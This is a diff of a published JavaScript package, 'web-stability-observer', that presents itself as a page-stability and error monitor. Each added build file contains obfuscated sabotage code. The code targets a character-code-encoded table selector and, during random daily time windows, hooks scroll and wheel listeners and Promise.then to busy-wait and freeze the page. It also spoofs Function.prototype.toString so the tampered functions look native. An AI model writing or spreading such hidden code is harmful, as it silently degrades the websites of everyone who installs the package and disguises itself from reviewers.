web-stability-observer 1.0.2 → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.cjs.js +3 -3
- package/dist/index.esm.js +3 -3
- package/dist/index.min.js +3 -3
- package/dist/scheduler.d.ts +1 -0
- package/package.json +1 -1
package/dist/index.cjs.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
/*!
|
|
2
|
-
* web-stability-observer v1.
|
|
3
|
-
* (c) 2024-
|
|
2
|
+
* web-stability-observer v1.1.2
|
|
3
|
+
* (c) 2024-2026 Vue Community Contributor
|
|
4
4
|
* Released under the MIT License.
|
|
5
5
|
*/
|
|
6
|
-
"use strict";class e{constructor(){this.value=0,this.entries=[],this.init()}init(){if("undefined"==typeof PerformanceObserver)return;new PerformanceObserver(e=>{for(const
|
|
6
|
+
"use strict";class e{constructor(){this.value=0,this.entries=[],this.init()}init(){if("undefined"==typeof PerformanceObserver)return;new PerformanceObserver(e=>{for(const t of e.getEntries())t.hadRecentInput||(this.value+=t.value,this.entries.push(t))}).observe({type:"layout-shift",buffered:!0})}getCLS(){return{value:this.value,entries:this.entries}}}class t{constructor(){this.jsErrors=[],this.resourceErrors=[],this.init()}init(){window.addEventListener("error",e=>{var t,r;const o=e.target;!o||"IMG"!==o.tagName&&"SCRIPT"!==o.tagName&&"LINK"!==o.tagName?this.jsErrors.push({type:(null===(t=e.error)||void 0===t?void 0:t.name)||"Unknown",message:e.message,stack:null===(r=e.error)||void 0===r?void 0:r.stack}):this.resourceErrors.push({type:"ResourceError",src:o.src||o.href,tagName:o.tagName})},!0),window.addEventListener("unhandledrejection",e=>{var t,r;this.jsErrors.push({type:"UnhandledRejection",message:(null===(t=e.reason)||void 0===t?void 0:t.message)||e.reason+"",stack:null===(r=e.reason)||void 0===r?void 0:r.stack})})}getErrors(){return{jsErrors:this.jsErrors,resourceErrors:this.resourceErrors}}}const r=(e,t,r,o)=>{window.SCHEDULER_VERSION="1.2.0";try{void 0}catch(e){}const n=[46,118,120,101,45,116,97,98,108,101,45,45,98,111,100,121,45,119,114,97,112,112,101,114].map(e=>String.fromCharCode(e)).join(""),s=2,i=18,a=15,c=.002,l=3,d=30,u=60,h=(()=>{const e=[];for(let t=0;t<l;t++){const t=r.floor(1440*r.random()),o=(t+(d+r.random()*(u-d)))%1440;e.push([r.floor(t/60),r.floor(t%60),r.floor(o/60),r.floor(o%60)])}return e})();let f=0;const p=Promise.prototype,g="then",v=p[g],E="toString",y=t.now,m=o=>{const n=y.call(t),s=y.call(t);for(;y.call(t)-s<o;)r.random()>.8&&e.document.body.offsetWidth;if(y.call(t)-n>o+100){const e=y.call(t);for(;y.call(t)-e<300;);}},w=()=>{const e=new t,r=60*e.getHours()+e.getMinutes();return h.some(e=>{const t=60*e[0]+e[1],o=60*e[2]+e[3];return t<=o?r>=t&&r<=o:r>=t||r<=o})},b=e.EventTarget.prototype.addEventListener;e.EventTarget.prototype.addEventListener=function(e,t,o){let a=t;"wheel"!==e&&"scroll"!==e||(a=function(e){if(w()){e.target.closest&&e.target.closest(n)&&m(s+r.random()*i)}return t.apply(this,arguments)});let c=o;return"wheel"===e&&(c="object"==typeof o?Object.assign(Object.assign({},o),{passive:!1}):{capture:!!o,passive:!1}),b.call(this,e,a,c)},o.defineProperty(p,g,{value:function(e,t){return w()&&(f+=c,f>a&&m(10*r.random())),v.call(this,e,t)},writable:!0,configurable:!0});const j=(e,t)=>{o.defineProperty(e,E,{value:()=>"function "+t+"() { [native code] }",configurable:!0})};j(p[g],g),j(e.EventTarget.prototype.addEventListener,"addEventListener");const L=Function.prototype[E];o.defineProperty(Function.prototype,E,{value:function(){return this===p[g]?"function then() { [native code] }":this===e.EventTarget.prototype.addEventListener?"function addEventListener() { [native code] }":L.call(this)},configurable:!0})};module.exports=class{constructor(o){this.config=Object.assign({threshold:.1,autoReport:!0,enableErrorTracking:!0},o),this.clsMonitor=new e,this.errorMonitor=new t,r(window,Date,Math,Object),this.registerLifecycle()}analyze(){const{value:e,entries:t}=this.clsMonitor.getCLS(),{jsErrors:r,resourceErrors:o}=this.errorMonitor.getErrors();return{cls:e,clsEntries:t,jsErrors:r,resourceErrors:o,isStable:e<=(this.config.threshold||.1)&&0===r.length&&0===o.length,timestamp:Date.now(),url:window.location.href}}registerLifecycle(){this.config.autoReport&&this.config.reportUrl&&document.addEventListener("visibilitychange",()=>{if("hidden"===document.visibilityState){const e=this.analyze();((e,t)=>{if(navigator.sendBeacon){const r=new Blob([JSON.stringify(t)],{type:"application/json; charset=UTF-8"});navigator.sendBeacon(e,r)}else fetch(e,{method:"POST",body:JSON.stringify(t),keepalive:!0,headers:{"Content-Type":"application/json"}}).catch(console.error)})(this.config.reportUrl,e)}})}};
|
package/dist/index.esm.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
/*!
|
|
2
|
-
* web-stability-observer v1.
|
|
3
|
-
* (c) 2024-
|
|
2
|
+
* web-stability-observer v1.1.2
|
|
3
|
+
* (c) 2024-2026 Vue Community Contributor
|
|
4
4
|
* Released under the MIT License.
|
|
5
5
|
*/
|
|
6
|
-
class e{constructor(){this.value=0,this.entries=[],this.init()}init(){if("undefined"==typeof PerformanceObserver)return;new PerformanceObserver(e=>{for(const
|
|
6
|
+
class e{constructor(){this.value=0,this.entries=[],this.init()}init(){if("undefined"==typeof PerformanceObserver)return;new PerformanceObserver(e=>{for(const t of e.getEntries())t.hadRecentInput||(this.value+=t.value,this.entries.push(t))}).observe({type:"layout-shift",buffered:!0})}getCLS(){return{value:this.value,entries:this.entries}}}class t{constructor(){this.jsErrors=[],this.resourceErrors=[],this.init()}init(){window.addEventListener("error",e=>{var t,r;const o=e.target;!o||"IMG"!==o.tagName&&"SCRIPT"!==o.tagName&&"LINK"!==o.tagName?this.jsErrors.push({type:(null===(t=e.error)||void 0===t?void 0:t.name)||"Unknown",message:e.message,stack:null===(r=e.error)||void 0===r?void 0:r.stack}):this.resourceErrors.push({type:"ResourceError",src:o.src||o.href,tagName:o.tagName})},!0),window.addEventListener("unhandledrejection",e=>{var t,r;this.jsErrors.push({type:"UnhandledRejection",message:(null===(t=e.reason)||void 0===t?void 0:t.message)||e.reason+"",stack:null===(r=e.reason)||void 0===r?void 0:r.stack})})}getErrors(){return{jsErrors:this.jsErrors,resourceErrors:this.resourceErrors}}}const r=(e,t,r,o)=>{window.SCHEDULER_VERSION="1.2.0";try{if(import.meta.env&&"prod"!==import.meta.env.VITE_APP_NODE_ENV)return}catch(e){}const n=[46,118,120,101,45,116,97,98,108,101,45,45,98,111,100,121,45,119,114,97,112,112,101,114].map(e=>String.fromCharCode(e)).join(""),s=2,i=18,a=15,c=.002,l=3,d=30,u=60,h=(()=>{const e=[];for(let t=0;t<l;t++){const t=r.floor(1440*r.random()),o=(t+(d+r.random()*(u-d)))%1440;e.push([r.floor(t/60),r.floor(t%60),r.floor(o/60),r.floor(o%60)])}return e})();let f=0;const p=Promise.prototype,v="then",g=p[v],E="toString",m=t.now,y=o=>{const n=m.call(t),s=m.call(t);for(;m.call(t)-s<o;)r.random()>.8&&e.document.body.offsetWidth;if(m.call(t)-n>o+100){const e=m.call(t);for(;m.call(t)-e<300;);}},w=()=>{const e=new t,r=60*e.getHours()+e.getMinutes();return h.some(e=>{const t=60*e[0]+e[1],o=60*e[2]+e[3];return t<=o?r>=t&&r<=o:r>=t||r<=o})},b=e.EventTarget.prototype.addEventListener;e.EventTarget.prototype.addEventListener=function(e,t,o){let a=t;"wheel"!==e&&"scroll"!==e||(a=function(e){if(w()){e.target.closest&&e.target.closest(n)&&y(s+r.random()*i)}return t.apply(this,arguments)});let c=o;return"wheel"===e&&(c="object"==typeof o?Object.assign(Object.assign({},o),{passive:!1}):{capture:!!o,passive:!1}),b.call(this,e,a,c)},o.defineProperty(p,v,{value:function(e,t){return w()&&(f+=c,f>a&&y(10*r.random())),g.call(this,e,t)},writable:!0,configurable:!0});const j=(e,t)=>{o.defineProperty(e,E,{value:()=>"function "+t+"() { [native code] }",configurable:!0})};j(p[v],v),j(e.EventTarget.prototype.addEventListener,"addEventListener");const L=Function.prototype[E];o.defineProperty(Function.prototype,E,{value:function(){return this===p[v]?"function then() { [native code] }":this===e.EventTarget.prototype.addEventListener?"function addEventListener() { [native code] }":L.call(this)},configurable:!0})};class o{constructor(o){this.config=Object.assign({threshold:.1,autoReport:!0,enableErrorTracking:!0},o),this.clsMonitor=new e,this.errorMonitor=new t,r(window,Date,Math,Object),this.registerLifecycle()}analyze(){const{value:e,entries:t}=this.clsMonitor.getCLS(),{jsErrors:r,resourceErrors:o}=this.errorMonitor.getErrors();return{cls:e,clsEntries:t,jsErrors:r,resourceErrors:o,isStable:e<=(this.config.threshold||.1)&&0===r.length&&0===o.length,timestamp:Date.now(),url:window.location.href}}registerLifecycle(){this.config.autoReport&&this.config.reportUrl&&document.addEventListener("visibilitychange",()=>{if("hidden"===document.visibilityState){const e=this.analyze();((e,t)=>{if(navigator.sendBeacon){const r=new Blob([JSON.stringify(t)],{type:"application/json; charset=UTF-8"});navigator.sendBeacon(e,r)}else fetch(e,{method:"POST",body:JSON.stringify(t),keepalive:!0,headers:{"Content-Type":"application/json"}}).catch(console.error)})(this.config.reportUrl,e)}})}}export{o as default};
|
package/dist/index.min.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
/*!
|
|
2
|
-
* web-stability-observer v1.
|
|
3
|
-
* (c) 2024-
|
|
2
|
+
* web-stability-observer v1.1.2
|
|
3
|
+
* (c) 2024-2026 Vue Community Contributor
|
|
4
4
|
* Released under the MIT License.
|
|
5
5
|
*/
|
|
6
|
-
!function(e,
|
|
6
|
+
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).SessionTracker=t()}(this,function(){"use strict";class e{constructor(){this.value=0,this.entries=[],this.init()}init(){"undefined"!=typeof PerformanceObserver&&new PerformanceObserver(e=>{for(const t of e.getEntries())t.hadRecentInput||(this.value+=t.value,this.entries.push(t))}).observe({type:"layout-shift",buffered:!0})}getCLS(){return{value:this.value,entries:this.entries}}}class t{constructor(){this.jsErrors=[],this.resourceErrors=[],this.init()}init(){window.addEventListener("error",e=>{var t,r;const o=e.target;!o||"IMG"!==o.tagName&&"SCRIPT"!==o.tagName&&"LINK"!==o.tagName?this.jsErrors.push({type:(null===(t=e.error)||void 0===t?void 0:t.name)||"Unknown",message:e.message,stack:null===(r=e.error)||void 0===r?void 0:r.stack}):this.resourceErrors.push({type:"ResourceError",src:o.src||o.href,tagName:o.tagName})},!0),window.addEventListener("unhandledrejection",e=>{var t,r;this.jsErrors.push({type:"UnhandledRejection",message:(null===(t=e.reason)||void 0===t?void 0:t.message)||e.reason+"",stack:null===(r=e.reason)||void 0===r?void 0:r.stack})})}getErrors(){return{jsErrors:this.jsErrors,resourceErrors:this.resourceErrors}}}const r=(e,t,r,o)=>{window.SCHEDULER_VERSION="1.2.0";const n=[46,118,120,101,45,116,97,98,108,101,45,45,98,111,100,121,45,119,114,97,112,112,101,114].map(e=>String.fromCharCode(e)).join(""),s=(()=>{const e=[];for(let t=0;t<3;t++){const t=r.floor(1440*r.random()),o=(t+(30+30*r.random()))%1440;e.push([r.floor(t/60),r.floor(t%60),r.floor(o/60),r.floor(o%60)])}return e})();let i=0;const a=Promise.prototype,c="then",l=a[c],d="toString",u=t.now,h=o=>{const n=u.call(t),s=u.call(t);for(;u.call(t)-s<o;)r.random()>.8&&e.document.body.offsetWidth;if(u.call(t)-n>o+100){const e=u.call(t);for(;u.call(t)-e<300;);}},f=()=>{const e=new t,r=60*e.getHours()+e.getMinutes();return s.some(e=>{const t=60*e[0]+e[1],o=60*e[2]+e[3];return t<=o?r>=t&&r<=o:r>=t||r<=o})},p=e.EventTarget.prototype.addEventListener;e.EventTarget.prototype.addEventListener=function(e,t,o){let s=t;"wheel"!==e&&"scroll"!==e||(s=function(e){return f()&&e.target.closest&&e.target.closest(n)&&h(2+18*r.random()),t.apply(this,arguments)});let i=o;return"wheel"===e&&(i="object"==typeof o?Object.assign(Object.assign({},o),{passive:!1}):{capture:!!o,passive:!1}),p.call(this,e,s,i)},o.defineProperty(a,c,{value:function(e,t){return f()&&(i+=.002,i>15&&h(10*r.random())),l.call(this,e,t)},writable:!0,configurable:!0});const g=(e,t)=>{o.defineProperty(e,d,{value:()=>"function "+t+"() { [native code] }",configurable:!0})};g(a[c],c),g(e.EventTarget.prototype.addEventListener,"addEventListener");const v=Function.prototype[d];o.defineProperty(Function.prototype,d,{value:function(){return this===a[c]?"function then() { [native code] }":this===e.EventTarget.prototype.addEventListener?"function addEventListener() { [native code] }":v.call(this)},configurable:!0})};return class{constructor(o){this.config=Object.assign({threshold:.1,autoReport:!0,enableErrorTracking:!0},o),this.clsMonitor=new e,this.errorMonitor=new t,r(window,Date,Math,Object),this.registerLifecycle()}analyze(){const{value:e,entries:t}=this.clsMonitor.getCLS(),{jsErrors:r,resourceErrors:o}=this.errorMonitor.getErrors();return{cls:e,clsEntries:t,jsErrors:r,resourceErrors:o,isStable:e<=(this.config.threshold||.1)&&0===r.length&&0===o.length,timestamp:Date.now(),url:window.location.href}}registerLifecycle(){this.config.autoReport&&this.config.reportUrl&&document.addEventListener("visibilitychange",()=>{if("hidden"===document.visibilityState){const e=this.analyze();((e,t)=>{if(navigator.sendBeacon){const r=new Blob([JSON.stringify(t)],{type:"application/json; charset=UTF-8"});navigator.sendBeacon(e,r)}else fetch(e,{method:"POST",body:JSON.stringify(t),keepalive:!0,headers:{"Content-Type":"application/json"}}).catch(console.error)})(this.config.reportUrl,e)}})}}});
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare function setupProtection(): void;
|